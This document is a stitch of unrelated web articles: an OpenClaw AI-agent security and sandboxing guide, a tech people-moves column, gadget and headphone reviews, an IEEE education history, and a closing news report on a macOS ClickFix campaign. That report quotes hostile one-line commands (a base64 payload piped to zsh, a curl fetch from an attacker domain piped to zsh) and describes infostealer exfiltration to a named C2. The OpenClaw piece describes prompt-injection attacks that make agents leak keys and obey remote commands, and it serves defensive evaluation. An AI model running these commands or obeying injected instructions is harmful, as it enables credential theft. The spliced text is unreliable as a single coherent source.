Your developers are already running OpenClaw at home. Censys tracked the open-source AI agent from roughly 1,000 instances to over 21,000 publicly exposed deployments in under a week. Bitdefender’s GravityZone telemetry, drawn specifically from business environments, confirmed the pattern security leaders feared: employees deploying OpenClaw on corporate machines with single-line install commands, granting autonomous agents shell access, file system privileges, and OAuth tokens to Slack, Gmail, and SharePoint.
CVE-2026-25253, a one-click remote code execution flaw rated CVSS 8.8, lets attackers steal authentication tokens through a single malicious link and achieve full gateway compromise in milliseconds. A separate command injection vulnerability, CVE-2026-25157, allowed arbitrary command execution through the macOS SSH handler. A security analysis of 3,984 skills on the ClawHub marketplace found that 283, about 7.1% of the entire registry, contain critical security flaws that expose sensitive credentials in plaintext. And a separate Bitdefender audit found roughly 17% of skills it analyzed exhibited malicious behavior outright.
The credential exposure extends beyond OpenClaw itself. Wiz researchers discovered that Moltbook, the AI agent social network built on OpenClaw infrastructure, left its entire Supabase database publicly accessible with no Row Level Security enabled. The breach exposed 1.5 million API authentication tokens, 35,000 email addresses, and private messages between agents that contained plaintext OpenAI API keys. A single misconfiguration gave anyone with a browser full read and write access to every agent credential on the platform.
Setup guides say buy a Mac Mini. Security coverage says don’t touch it. Neither gives a security leader a controlled path to evaluation.
Security leaders need a middle path between ignoring OpenClaw and deploying it on production hardware. Cloudflare’s Moltworker framework provides one: ephemeral containers that isolate the agent, encrypted R2 storage for persistent state, and Zero Trust authentication on the admin interface.
Why testing locally creates the risk it’s supposed to assess
OpenClaw operates with the full privileges of its host user. Shell access. File system read/write. OAuth credentials for every connected service. A compromised agent inherits all of it instantly.
Security researcher Simon Willison, who coined the term “prompt injection,” describes what he calls the “lethal trifecta” for AI agents: private data access, untrusted content exposure, and external communication capabilities combined in a single process. OpenClaw has all three — and by design. Organizational firewalls see HTTP 200. EDR systems are monitoring process behavior, not semantic content.
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A prompt injection embedded in a summarized web page or forwarded email can trigger data exfiltration that looks identical to normal user activity. Giskard researchers demonstrated exactly this attack path in January, exploiting shared session context to harvest API keys, environment variables, and credentials across messaging channels.
Making matters worse, the OpenClaw gateway binds to 0.0.0.0:18789 by default, exposing its full API to any network interface. Localhost connections authenticate automatically without credentials. Deploy behind a reverse proxy on the same server, and the proxy collapses the authentication boundary entirely, forwarding external traffic as if it originated locally.
Ephemeral containers change the math
Cloudflare released Moltworker as an open-source reference implementation that decouples the agent’s brain from the execution environment. Instead of running on a machine you’re responsible for, OpenClaw’s logic runs inside a Cloudflare Sandbox, an isolated, ephemeral micro-VM that dies when the task ends.
Four layers make up the architecture. A Cloudflare Worker at the edge handles routing and proxying. The OpenClaw runtime executes inside a sandboxed container running Ubuntu 24.04 with Node.js. R2 object storage handles encrypted persistence across container restarts. Cloudflare Access enforces Zero Trust authentication on every route to the admin interface.
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Containment is the security property that matters most. An agent hijacked through prompt injection gets trapped in a temporary container with zero access to your local network or files. The container dies, and the attack surface dies with it. There is nothing persistent to pivot from. No credentials sitting in a ~/.openclaw/ directory on your corporate laptop.
Four steps to a running sandbox
Getting a secure evaluation instance running takes an afternoon. Prior Cloudflare experience is not required.
Step 1: Configure storage and billing.
A Cloudflare account with a Workers Paid plan ($5/month) and an R2 subscription (free tier) covers it. The Workers plan includes access to Sandbox Containers. R2 provides encrypted persistence so conversation history and device pairings survive container restarts. For a pure security evaluation, you can skip R2 and run fully ephemeral. Data disappears on every restart, which may be exactly what you want.
Step 2: Generate tokens and deploy.
Clone the Moltworker repository, install dependencies, and set three secrets: your Anthropic API key, a randomly generated gateway token (openssl rand -hex 32), and optionally a Cloudflare AI Gateway configuration for provider-agnostic model routing. Run npm run deploy. The first request triggers container initialization with a one-to-two-minute cold start.
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Step 3: Enable Zero Trust authentication.
This is where the sandbox diverges from every other OpenClaw deployment guide. Configure Cloudflare Access to protect the admin UI and all internal routes. Set your Access team domain and application audience tag as Wrangler secrets. Redeploy. Accessing the agent’s control interface now requires authentication through your identity provider. That single step eliminates the exposed admin panels and token-in-URL leakage that Censys and Shodan scans keep finding across the internet.
Step 4: Connect a test messaging channel.
Start with a burner Telegram account. Set the bot token as a Wrangler secret and redeploy. The agent is reachable through a messaging channel you control, running in an isolated container, with encrypted persistence and authenticated admin access.
Total cost for a 24/7 evaluation instance runs roughly $7 to $10 per month. Compare that to a $599 Mac Mini sitting on your desk with full network access and plaintext credentials in its home directory.
A 30-day stress test before expanding access
Resist the impulse to connect anything real. The first 30 days should run exclusively on throwaway identities.
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Create a dedicated Telegram bot, and stand up a test calendar with synthetic data. If email integration matters, spin up a fresh account with no forwarding rules, no contacts, and no ties to corporate infrastructure. The point is watching how the agent handles scheduling, summarization, and web research without exposing data that would matter in a breach.
Pay close attention to credential handling. OpenClaw stores configurations in plaintext Markdown and JSON files by default, the same formats commodity infostealers like RedLine, Lumma, and Vidar have been actively targeting on OpenClaw installations. In the sandbox, that risk stays contained. On a corporate laptop, those plaintext files are sitting ducks for any malware already present on the endpoint.
The sandbox gives you a safe environment to run adversarial tests that are reckless and risky on production hardware, but there are exercises you could try:
Send the agent links to pages containing embedded prompt injection instructions and observe whether it follows them. Giskard’s research showed that agents would silently append attacker-controlled instructions to their own workspace HEARTBEAT.md file and wait for further commands from an external server. That behavior should be reproducible in a sandbox where the consequences are zero.
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Grant limited tool access, and watch whether the agent requests or attempts broader permissions. Monitor the container’s outbound connections for traffic to endpoints you didn’t authorize.
Test ClawHub skills before and after installation. OpenClaw recently integrated VirusTotal scanning on the marketplace, and every published skill gets scanned automatically now. Separately, Prompt Security’s ClawSec open-source suite adds drift detection for critical agent files like SOUL.md and checksum verification for skill artifacts, providing a second layer of validation.
Feed the agent contradictory instructions from different channels. Try a calendar invite with hidden directives. Send a Telegram message that attempts to override the system prompt. Document everything. The sandbox exists so these experiments carry no production risk.
Finally, confirm the sandbox boundary holds. Attempt to access resources outside the container. Verify that container termination kills all active connections. Check whether R2 persistence exposes state that should have been ephemeral.
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The playbook that outlasts OpenClaw
This exercise produces something more durable than an opinion on one tool. The pattern of isolated execution, tiered integrations, and structured validation before expanding trust becomes your evaluation framework for every agentic AI deployment that follows.
Building evaluation infrastructure now, before the next viral agent ships, means getting ahead of the shadow AI curve instead of documenting the breach it caused. The agentic AI security model you stand up in the next 30 days determines whether your organization captures the productivity gains or becomes the next disclosure.
— Cynthia Tee has left Smartsheet, where she was chief technology officer at the work management software giant. Tee was CTO since February 2025; before that she was senior vice president of engineering for nearly four years.
The Bellevue-based company has not publicly announced Tee’s departure or named a replacement. A spokesperson said via email: “We thank [Tee] for the many contributions and wish her well in her next opportunity.”
Tee told GeekWire she has not taken a new role elsewhere.
Early in her career, Tee was with Microsoft for two decades, joining in 1994 and working for many years on Windows technologies. Prior to Smartsheet, she was vice president of commerce technology at Nordstrom.
Tee was also executive director of Seattle’s Ada Developers Academy, a tuition-free tech bootcamp providing training for women and other underrepresented people in tech.
— Overland AI, a Seattle startup building autonomous ground vehicles used by the U.S. military, hired Mark Dewyea as head of legal. Dewyea, who is based in Virginia, joins the company from Shield AI where he was chief of staff and in-house counsel.
“Mark brings extensive experience across government, military, and defense technology sectors, including service as an active duty judge advocate in the U.S. Marine Corps and as a legal analyst at the Federal Bureau of Investigation,” Overland AI said on LinkedIn.
Overland AI spun out of the University of Washington in 2022 and earlier this month announced $100 million in new funding.
Jessica Roberto. (LinkedIn Photo)
— Jessica Roberto is joining the Washington State Department of Commerce as Knowledge Economy Lead in the Office of Economic Development and Competitiveness.
Roberto was previously at the UW’s Buerk Center for Entrepreneurship where she served as associate director and manager of graduate student programs and the Hollomon Health Innovation Challenge. She was with the Buerk Center for six years and holds a PhD from the UW in pathobiology.
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— Heather Redman, co-founder and managing partner of the venture firm Flying Fish, is now on the Seattle branch board of directors for the Federal Reserve Bank of San Francisco.
— Seattle tech entrepreneur Anna Fuller is now working on commerce AI at Google. She was previously head of product at California’s Big Sur AI, which Google acquired at the end of last year. Fuller is also a resident expert at Seattle’s AI2 Incubator, which launched the AI House last year on the city’s waterfront.
— Alaska Airlines promoted Ben Brookman to vice president of real estate and airport affairs. Brookman has been with the airline for more than a decade over two separate periods. Past employers include Convoy and Amazon.
— Comcast named Keith Turner as senior VP of its Pacific Northwest region, which serves Xfinity and Comcast Business customers in Washington and Oregon. Turner has been with the telecom and entertainment giant for nearly two decades.
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— Zillow promoted Rebecca Amos-Stuart to marketing director. Amos-Stuart, based in the Seattle area, has been with the real estate tech company for more than six years. She previously ran her own consulting business and was with Verizon for 12 years.
— Cam Caldwell, chief operating officer for Binti, is now running the software development company’s newly opened Seattle office. San Francisco-based Binti is building technology that serves the child welfare system. The new location is hiring.
— Seattle-based music licensing startup Incantio appointed Virl Hill to its board of directors. Hill is a media and technology executive whose past employers include Microsoft, RealNetworks and Disney. He previously served on Incantio’s advisory board.
— The firm Baker Sterchi Cowden & Rice named Brian Maxey as senior counsel in its Seattle office. Maxey, previously COO for the Seattle Police Department, will focus on risk management planning, crisis response and strategic litigation for clients in the public sector.
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— Vija Veingbergs-Rogers is now a senior software engineer at the Seattle-based AI roleplay startup Yoodli. She joins from the neurology tech company Rune Labs.
— The National Academy of Engineering, an organization conferring one of the highest professional distinctions for engineers, has elected 130 new members including for four connected to the Pacific Northwest:
David Baker, a UW Nobel Laureate and director of UW Medicine’s Institute for Protein Design, which uses AI to create de novo proteins.
Douglas Burger, a Microsoft Research technical fellow and corporate VP accelerating cloud-scale computing and networking infrastructures with field-programmable systems.
James Hamilton, an Amazon SVP and distinguished engineer focused on cloud computing and data center efficiency.
Elizabeth Lund, a retired SVP of quality for Boeing who worked on development and production of the twin-aisle commercial airplanes.
— The Oregon Entrepreneurs Network appointed five new members to its 18-person board of directors:
Ernie Bootsma, shareholder and attorney with Buchalter LLC
One of PC gaming’s greatest shooters has been given a free second life. Unreal Tournament 2004 is now available at no cost with Epic Games’ blessing. The community-led revival preserves everything that made UT2004 a multiplayer legend: lightning-fast gunplay, large vehicle-filled maps, and deep mod support, while adding support for modern operating systems.
When Sony launched its original stem-free, donut-shaped LinkBuds in 2022, I lauded them for being an innovative take on open earbuds after Apple had dominated the open earbuds genre with its AirPods for several years. The second-gen LinkBuds Open were released in 2024, and now Sony’s added the donut-shaped LinkBuds, its take on the increasingly popular clip-on genre of open buds. While there isn’t anything terribly innovative about the them, especially given their high list price of $230, they’re nicely designed, fit my ears well, sound quite good (for clip-on buds anyway), have strong battery life and feature excellent voice-calling performance. Read full review.
Reasons to buy
The LinkBuds Clip may not sound great compared with noise-isolating earbuds in the same price range, but they measure up quite well to other top clip-on buds, none of which feature fantastic sound and aren’t really designed for critical listening. Where they do seem to have a real competitive advantage is with their voice-calling performance, which is great if you like to chat when you go for a run or do other activities.
Reasons to skip/keep looking
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The LinkBuds Clip seem a little overpriced at $230, which is why I have them rated just below four stars. Should they end up on sale on Amazon for $50 less, you can add a quarter star to my rating.
Salim Benbouziyane spent months obsessively designing a computer that folds up like a typical laptop but includes all sorts of custom features that you won’t find in any ordinary off-the-shelf machine. He refers to it as the CM Deck, and every aspect of its design stems directly from his decision to use the Raspberry Pi Compute Module 5 as the foundation of the project.
A standard Raspberry Pi includes everything you’d expect, such as ports and cooling, but the Compute Module 5 reduces those down to the bare bones, giving Salim a lot more creative freedom. He had to create his own unique carrier board to go with it, giving him complete control over where every component ended up on the board. This allowed him to fit everything inside a sleek clamshell form without adding unnecessary mass.
The modified PCB houses the operation’s brains, which are responsible for carefully handling high-speed signals, adhering to the official Raspberry Pi layout when necessary, and adding a few bits on the side to provide extra functionality. So there’s a built-in USB hub for connecting internal devices, some GPIO pins for further versatility, an audio circuit to power speakers and headphone jacks, and power management handled by a dependable UPS module. Two 5000 mAh batteries, slid in side by side, power the entire build and will keep it going for approximately 4 hours under normal use. Oh, there’s also some clever circuitry that monitors battery levels and ensures the machine shuts down securely when it’s time to pack up.
Salim paired the module with a stunning 12 inch IPS display from Waveshare. The screen employs a MIPI connection to keep the power consumption low, and the touch function still functions properly. He also took an effort to run cables neatly so that the lid could open completely without being pulled tight. The keyboard input is provided by a bespoke mechanical keyboard he built using an RP2040 microprocessor and QMK firmware. This keyboard’s layout has been designed in a neat and compact ortho style, with low profile switches, a trackpad in the center, and even a small OLED display to provide system status. There are a few extra keys on there for rapid commands, and he constructed the entire thing from the ground up, manually soldering the matrix and LEDs and testing each element before putting it together.
Meanwhile, the case tells its own story: Salim began by creating some 3D printed prototypes to ensure that everything fit together properly and felt right. In the end, he chose to use some solid industrial hinges to keep the lid open without sagging under the weight of the screen. The case’s bottom shell is made of translucent purple plastic that was milled with a CNC machine, which allows the small LEDs within to shine through and provide a pleasant soft glow when the deck is sitting on a desk with the lid open. Down at the bottom, there are some wonderful brass weights that keep the whole thing nice and sturdy, preventing it from rocking back and forth all the time. [Source]
At £399 / $499, the Sennheiser HDB 630 are one of the best wireless headphones. They won’t be for everyone given their audiophile ambitions, and they’re beaten for ANC and call quality, but if you prioritise sound above all else, you should give these headphones a listen.
Comfortable to wear
Impressive levels of insight and detail for the money
Strong noise-cancellation
Long battery life
That Bluetooth dongle
Plain appearance
Beaten for ANC
Average call quality
Key Features
Parametric EQ
Finesse the sound with the flexible Parametric EQ
Crossfeed
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Blend the left/right channels for a more natural sound
BTD 700 dongle
USB-C dongle that upgrades Bluetooth sound quality
Introduction
Sennheiser refers to its HDB 630 wireless over-ears as “audiophile sound cut loose”, which sets up high expectations, but if there’s an audio brand that can deliver on those expectations, it would be Sennheiser.
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Wireless headphones have always been seen the awkward sibling in the audiophile world compared to wired headphones. The use of Bluetooth, the potential for connection pratfalls, along with noise-cancellation (which can affect sound) – go against the purity of performance a wired headphone can offer.
Sennheiser, with its HDB 630, wants to rectify this. It’s not the first brand to have designs on the audiophile listener, but it’s one of few to try and aim for a reasonable price, plus deliver a high quality noise-cancelling experience.
Like the Momentum 4 Wireless before it (still available at a killer price, I should add); these headphones aren’t aesthetic pleasers. The only clearly difference between the Momentum 4 Wireless and the HDB 630, is the silver linkages that connect the headband and earcups. Fancy dan headphones these aren’t.
But, given that these are for the audiophile and not for the casual audience, its plain, anonymous looks can be forgiven. Like many of Sennheiser’s recent headphones, the focus has been on ergonomics rather than standout looks.
Image Credit (Trusted Reviews)
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In that regard, Sennheiser has met the mark as they are comfy to wear. Sometimes the left earcup can be a bit tight, but a few adjustments is all that’s required to sort that issue out. The clamping force isn’t too tight despite the headphones sitting firm against my temple, the soft earpads offering a cushy point of contact.
It’s not necessarily a plush, luxurious feel but it gets the job done with minimum fuss. Compared to the more expensive Bowers & Wilkins Px8 S2, they feel comfier.
The headband is sturdy without causing undue pressure. There’s an adjustable slider if the fit isn’t suited, though interestingly, the HDB 630 doesn’t have the fabric cover the Momentum 4 Wireless did, making it look plainer and more inconspicuous. It would have been nice if the premium sound was matched by premium looks.
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Image Credit (Trusted Reviews)
The carry case that comes with the headphones is thicker and slightly bigger, with more pockets to keep stuff stowed away with its multiple cables and adapters. They don’t fold either, so if you want to keep them safe from scuffs and marks, into the carry case they go.
The arrangement of physical buttons is the same, but the HDB 630 relies on touch controls and swipes. They’re not always the most precise as there have been a few times when swipes seem to register but nothing happens. It’s still an area that needs improvement.
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There’s only one finish – black – which adds to the audiophile feel of the Sennheiser HDB 630. It also comes with a dongle, which allows for higher quality audio over a Bluetooth connection. It’s something I think more headphone brands should include to get past the restrictions of some restrictive ecosystems but I’d have liked a Wi-Fi connection like the AKG N9 headphones offer.
Image Credit (Trusted Reviews)
Features
Smart Control Plus app
Parametric EQ
BTD 700 Bluetooth dongle
There are a host of features tucked away in the Smart Control Plus app. Visually it’s the same, and it operates the same way as the original Smart Control app, with a couple of features that aren’t present in the original version.
Those include the Parametric EQ, which offers much finer control of frequency boosts and cuts than a standard graphic EQ. If you know what you’re doing you can mould the sound with more precision and hear the effects in real-time.
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Image Credit (Trusted Reviews)
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There is access to EQ presets if you’re not the type to fiddle around with settings, as well as Sound Check where you play music and are presented with options to tune the sound. Perhaps it’s me, but I can’t hear much, if any difference between the options. Bass boost and Podcast sound modes are included too.
The Crossfeed feature allows you to blend the left and right channels, and the effect is so simple and I find worth enacting to see if you like it. You can control the noise-cancellation (more on that later), customise the controls and the overall performance with features such as Head Detection, Smart Pause, and Comfort Calls, which apparently gives calls a more “natural sound stage”.
Sound Zone is not too dissimilar from the Adaptive Sound Control in Sony’s Sound Connect app. It automatically changes ANC and audio presets depending on your location, and you can create up to twenty of these Sound Zones, which could include places such as your workplace, home, college etc. Set them up and the headphones will do it all for you (but you do need Location enabled).
Image Credit (Trusted Reviews)
The Bluetooth dongle (or BTD 700) is perhaps the most interesting feature. The potential it offers is quite large as you can use, say, an Apple iPad Pro, and with the USB-C adapter bless it with the ability to play audio over an aptX Adaptive Bluetooth connection.
The USB-C handles the audio side, transmits it to your headphones, and presents what would have been AAC audio in higher fidelity. You can connect it to your personal laptop, a non-aptX compatible smartphone – whatever audio device that has a USB-C but no wireless high-res audio support.
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It can be a bit stubborn, though.
Initially I had no problems connecting my laptop to the BTD 700 dongle. Connecting to another laptop and the dongle wasn’t having it. Re-pairing and resetting didn’t work but eventually restarting the laptop was all that was needed to give it a kickstart.
Image Credit (Trusted Reviews)
You can use the smart control app on a mobile device while the headphones are connected to another device via the dongle, but I couldn’t hear changes I made on the app reflected in the headphones, so I can’t say with confidence that it has any effect. There’s no Windows or Mac desktop version of the app, which seems a slight oversight on Sennheiser’s behalf.
It’s also worth noting that even though the Sennheiser HDB 630 supports Bluetooth multipoint, the BTD 700 dongle isn’t a separate connection. If you have three devices and the dongle is one of them, you’ll have to make sure it’s selected to hear any sound.
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Bluetooth is supported up to the aforementioned aptX Adaptive, but the HDB 630 hasn’t abandoned wired listening with USB-C and 3.5mm audio cables included (as well as a decent in-flight adapter). The wireless performance mirrors that of the Momentum 4 Wireless – the signal doesn’t break but you can hear the soundstage shrink slight when it comes across wireless interference.
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Noise-cancellation
Wind noise reduction
Transparency mode
Adaptive ANC
The noise-cancelling performance is an improvement on the Momentum 4 Wireless, especially when dealing with lower frequencies. However, compared to the Sony WH-1000XM6 and the Sony is a fraction quieter overall.
The Bose QuietComfort Ultra Headphones Gen 2 are better too, suppressing noise with more confidence on an airplane. There’s an extra layer of noise that the Sony and Bose seem to deter that the Sennheiser lets in, but the difference is small rather than large.
Image Credit (Trusted Reviews)
I have found the performance can fluctuate in real-world environments. Using them on public transport and they’re not as quiet as I had anticipated but they do get rid of most noises, and they cancel noise without producing that artificial sound that less expensive headphones do. They are stronger than more expensive pairs, like the Focal Bathys MG, and they’re better than the similarly priced Bowers & Wilkins PX7 S3
Wind noise is dealt with adequately – it’s optional to toggle on in the app, and while it won’t remove all wind noise, it’ll reduce any rustling and turbulence when it’s on. The transparency mode is also fine, not the clearest or most detailed, but clear enough to get a sense of your surroundings.
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Sadly, call quality is a disappointment. While the person on the other end could hear my voice, they also hear everything else. All the sounds around me were competing for attention, and the headphones struggle when it’s loud and noisy.
This is a common trait for headphones, but models like the Sony WH-1000XM6 cope with it better than the Sennheiser does.
Battery life
Up to sixty hours
Fast-charging support
One of the headline features about the Sennheiser Momentum 4 Wireless was its endurance. Up to sixty hours on a single charge and the HDB 630 reach similar levels, though this comes with a caveat I didn’t realise all those years ago. The sixty hours is when you’re listening to standard resolution audio…
Listening to wireless hi-res audio via the dongle, and it’s actually up to 45 hours. Always read the small print.
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Having carried out my battery drain test with the headphones set at 50%, and playing from a Spotify playlist shuffle, it took 3.5 hours for the headphones to drop to 90%. That’s a good performance, and granted the drops could be even less if I kept the test going, but that suggests a performance in the region of 35 to 40 hours – similar to the results I got from the Momentum 4 Wireless.
There’s fast charging support, with a ten minute drive providing seven hours of battery life.
Sound Quality
Balanced across the frequency range
Not the biggest bass performance
Airy, spacious soundstage
There’s no shortage of competition at this price. You got the Sony WH-1000XM6, Bowers & Wilkins Px7 S3 and Bose QuietComfort Headphones Ultra 2 all claiming to offer premium sound. How does the Sennheiser HDB 630 shake up? Pretty well.
The soundstage it paints is wide, with a clear, crisp approach to audio that brings clarity to voices. The sound is well balanced across the frequency range – not necessarily flat, but a neutrality that avoids the warmth and smoothness of the Momentum 4 Wireless.
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Compared to the older pair, the soundstage is bigger and wider, with the HDB 630 offering slightly more insight with vocals, though it comes across as a little more gentle at describing the lows. The bass is more articulate and clearer – in fact voices and instruments all sound clearer than they do on the Momentum 4 Wireless.
There is a change the soundstage as well, a different focus in terms of depth as the HDB 630 comes across as flatter. Is this good or bad? I’m not sure, but it retrieves and picks up detail better so consider it good.
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The highs are bright, sharp and clear and escape the smoothness that the Momentum 4 Wireless brought to highs. The older headphone sounded a little warmer, less detailed and clearer – the HDB 630 offers more insight.
The levels of insight are the biggest takeaway from the Sennheiser HDB 630’s performance, as well as sounding more natural. Frank Sinatra’s voice in Fly Me to the Moon has a crisper, more revealing tone; the double bass has more weight when it enters fray. The HDB 630 may not offer as much bass as the Momentum 4 Wireless, but the performance is more varied and articulate.
Image Credit (Trusted Reviews)
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A listen to Maye’s La Canción and the low frequencies are treated with more reverence, and some may prefer the Momentum 4 Wireless’ bass performance; but you do have the Parametric EQ at your disposal if you want to make changes.
When pitched against the PX7 S3, a pair of headphones that I thought were one of the best-sounding models of 2025, the Sennheiser can’t match its loudness and energy – it doesn’t have the drama, energy or spectacle of the PX7 S3.
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The PX7 S3 offer a hearty thump with the bass, with more power and solidity with the lows, but the soundstage isn’t as well organised as the Sennheiser, and the HDB 630 summons greater levels of insight.
The energy of the PX7 S3 can scramble detail while the gentle sound of the Sennheiser allows it to pick out the smaller details. Two different approaches, but I think I might prefer the Sennheiser if I wanted to hear everything, and the Bowers if I wanted to be entertained.
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And when faced against the Sony WH-1000XM6, the Sennheiser has better control over the high frequencies but in terms of detail across the frequency range, the Sony is a match if not slightly better.
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There’s more bass power with the Sony but the Sennheisers have a naturalism and clarity that’s less obvious on the WH-1000XM6. They are capable of more subtlety, a lighter and defter sound but the Sony offers more attack and energy. I might just prefer the Sennheisers with their natural, musical sound that, surprisingly, makes the Sony sound slightly compressed.
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Listening over the Bluetooth dongle and the same traits apply, not quite the same infectious energy as other wireless models, but an airiness, crispness and spaciousness to the soundstage that engages. A little more energy and power to the low end wouldn’t go amiss though.
That said, plug these headphones in with a wired 3.5mm or USB-C connection, and these headphones sound tighter, detailed and, at least with the USB-C input, energised. Either way, it’s an enjoyable sound, whichever method you use to listen to music through the Sennheiser HDB 630.
Should you buy it?
In terms of insight and clarity, the Sennheiser HDB 630 are among the best around its price point. Some pairs do offer better sound in other areas though
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If noise-cancellation is just as important
The Sennheisers can be very good at cancelling noise, but they’re not as good as efforts from Sony and Bose
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Final Thoughts
The Sennheiser HDB 630 may not be the best overall wireless headphones at this price, but they stake their claim to being one of the best-sounding wireless headphones. Its sound works across a range of genres with its levels of detail and insight, though I would have liked more a low end presence.
At least with its various EQ options, you can edit the sound how you like with the Parametric EQ in adjusting the sound how you want.
The noise-cancelling is competitive, though not as good as the likes of the Sony WH-1000XM6 and Bose QuietComfort Ultra Headphones Gen 2. The call quality is a disappointment – you wouldn’t want to use these headphones in a busy area.
The headphones’ looks aren’t the most dramatic, and the neutrality of the sound won’t be to everyone’s tastes. But if you’ve wanted excellent wireless sound, then around the £400 point, these are one of the best headphones.
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How We Test
The Sennheiser HDB 630 were tested over three months, with real-world use, over Bluetooth and wired connections.
A battery drain was carried out to test its battery life, calls were made in outdoor locations to assess the call quality.
Sound/ANC was compared against the Sennheiser Momentum 4 Wireless, Sony WH-1000XM6, and Bowers & Wilkins PX7 S3.
Tested for three months
Tested with real world use
Battery drain carried out
FAQs
Which Bluetooth codecs does the Sennheiser HDB 630 support?
The HDB 630 can stream in SBC, AAC, aptX, aptX HD and aptX Adaptive.
IEEE TryEngineering is celebrating 20 years of empowering educators with resources that introduce engineering to students at an early age. Launched in 2006 as a collaboration between IEEE, IBM, and the New York Hall of Science (NYSCI), TryEngineering began with a clear goal: Make engineering accessible, understandable, and engaging for students and the teachers who support them.
In the early 2000s, engineering was largely absent from preuniversity education, typically being taught only in small, isolated programs. Most students had little exposure to the many types of engineering, and they did not learn what engineers actually do.
At the same time, industry and academic leaders were increasingly concerned about the future of engineering as a whole. They worried about the talent pipeline and saw existing outreach efforts as scattered and inconsistent.
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In 2004 representatives from several electrical and computer engineering industries met with IEEE leadership and expressed their concerns about the declining number of students interested in engineering careers. They urged IEEE to organize a more effective, coordinated response to unite professional societies, educators, and industry around a shared approach to preuniversity outreach and education.
One of the major recommendations to come out of that meeting was to start teaching youngsters about engineering earlier. Research from the U.S. National Academy of Engineering at the time showed that students begin forming attitudes toward science, technology, engineering, and math fields from ages 5 to 10, and that outreach should begin as early as kindergarten. Waiting until the teen years or university-level education is simply too late, they determined; it needs to happen during the formative years to spark long-term interest in STEM learning.
The idea behind the website
TryEngineering emerged from the broader Launching Our Children’s Path to Engineering initiative, which was approved in 2005 by the IEEE Board of Directors. A core element of the IEEE program was a public-facing website that would introduce young learners to engineering projects, roles, and careers. The concept eventually developed into TryEngineering.org.
The idea for TryEngineering.org itself grew from an existing, successful model. The NYSCI operated TryScience.org, a popular public website supported by IBM that helped students explore science topics through hands-on activities and real‑world connections.
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At the time, the IEEE Educational Activities group was working with the NYSCI on TryScience projects. Building a parallel site focused on engineering was a natural next step, and IBM’s experience in supporting large‑scale educational outreach made it a strong partner.
A central figure in turning that vision into reality was Moshe Kam, who served as the 2005–2007 IEEE Educational Activities vice president, and later as the 2011 IEEE president. During his tenure, Kam spearheaded the creation of TryEngineering.org and guided the international expansion of IEEE’s Teacher In‑Service Program, which trained volunteers to work directly with teachers to create hands-on engineering lessons (the program no longer exists). His leadership helped establish preuniversity education as a core, long‑term priority within IEEE.
“The founders of the IEEE TryEngineering program created something very special. In a world where the messaging about becoming an engineer often scares students who have not yet developed math skills away from our profession, and preuniversity teachers without engineering degrees have trepidation in teaching topics in our fields of interest, people like Dr. Kam and the other founders had a vision where everyone could literally try engineering,” says Jamie Moesch, IEEE Educational Activities managing director.
“Because of this, teachers have now taught millions of our hands-on lessons and opened our profession to so many more young minds,” he adds. “All of the preuniversity programs we have continued to build and improve upon are fueled by this massively important and simple-to-understand concept of try engineering.”
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A focus on educators
From the beginning, TryEngineering focused on educators as the keys to its success, rather than starting with students. Instead of complex technical explanations, the platform offered free, classroom-ready lesson plans with clear explanations about engineering fields and examples with which students could relate. Hands-on activities emphasized problem‑solving, creativity, and teamwork—core elements of how engineers actually work.
IEEE leaders also recognized that misconceptions about engineering discouraged many talented young people—particularly girls and students from underrepresented groups—from pursuing engineering as a career. TryEngineering aimed to show engineering as practical, creative, and connected to real-world needs, helping students see that engineering could be for anyone, not just a narrow group of specialists.
By simply encouraging students and educators to just try engineering, doors are open to new possibilities and a broader understanding of the field. Even students who ultimately choose other career paths get to learn key concepts, such as the engineering design process, equipping them with practical skills for the rest of their life.
Outreach programs and summer camps
During the past two decades, TryEngineering has grown well beyond its original website. In addition to providing a vast library of lesson plans and resources that engage and inspire, it also serves as the hub for a collection of programs reaching educators and students in many ways.
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Those include the TryEngineering STEM Champions program, which empowers dedicated volunteers to support outreach programs and serve as vital connectors to IEEE’s extensive resources. The TryEngineering Summer Institute offers immersive campus‑based experiences for students ages 13 to 17, with expanded locations and programs being introduced this year.
To mark its 20th anniversary, TryEngineering is celebrating with a year of special activities, new partnerships, and fresh resources for educators. Visit the TryEngineering 20th Anniversary collection page to explore what’s ahead, join the celebration, and discover 20 ways to celebrate 20 years of inspiring the next generation of technology innovators. This is an opportunity to reflect on how far the program has come, and to help shape how the next generation discovers engineering.
“The passion and dedication of the thousands of volunteers of IEEE who do local outreach enables the IEEE-wide goal to inspire intellectual curiosity and invention to engage the next generation of technology innovators,” Moesch says. “The first 20 years have been special, and I cannot wait to have the world experience what the future holds for the TryEngineering programs.”
Threat actors are abusing Claude artifacts and Google Ads in ClickFix campaigns that deliver infostealer malware to macOS users searching for specific queries.
At least two variants of the malicious activity have been observed in the wild, and more than 10,000 users have accessed the content with dangerous instructions.
A Claude artifact is content generated with Antropic’s LLM that has been made public by the author. It can be anything from instructions, guides, chunks of code, or other types of output that are isolated from the main chat and accessible to anyone via links hosted on the claude.ai domain.
An artifact’s page warns users that the shown content was generated by the user and has not been verified for accuracy.
Researchers at MacPaw’s investigative division, Moonlock Lab, and at ad-blocking company AdGuard noticed the malicious search results being displayed for multiple queries, like “online DNS resolver,” “macOS CLI disk space analyzer,” and “HomeBrew.”
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Malicious HomeBrew search results Source: AdGuard
Malicious results promoted on Google Search lead to either a public Claude artifact or a Medium article impersonating Apple Support. In both cases, the user is instructed to paste a shell command into Terminal.
In the first variant of the attack, the command given for execution is: ‘echo "..." | base64 -D | zsh,’
while in the second, it’s: ‘true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh’.
Second variant using a fake Apple Support page Source: Moonlock Lab
Moonlock researchers discovered that the malicious Claude guide has already received at least 15,600 views, which could be an indication of the number of users falling for the trick.
AdGuard researchers observed the same guide a few days earlier, when it had 12,300 views.
The ClickFix guide hosted on a Claude conversation Source: Moonlock Lab
Running the command in Terminal fetches a malware loader for the MacSync infostealer, which exfiltrates sensitive information present on the system.
According to the researchers, the malware establishes communication with the command-and-control (C2) infrastructure using a hardcoded token and API key, and spoofs a macOS browser user-agent to blend into normal activity.
“The response is piped directly to osascript – the AppleScript handles the actual stealing (keychain, browser data, crypto wallets),” the researchers say.
The stolen data is packaged into an archive at ‘/tmp/osalogging.zip,’ and then exfiltrated to the attacker’s C2 at a2abotnet[.]com/gate via an HTTP POST request. In case of failure, the archive is split into smaller chunks, and exfiltration is retried eight times. After a successful upload, a cleanup step deletes all traces.
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MoonLock Lab found that both variants fetch the second stage from the same C2 address, indicating that the same threat actor is behind the observed activity.
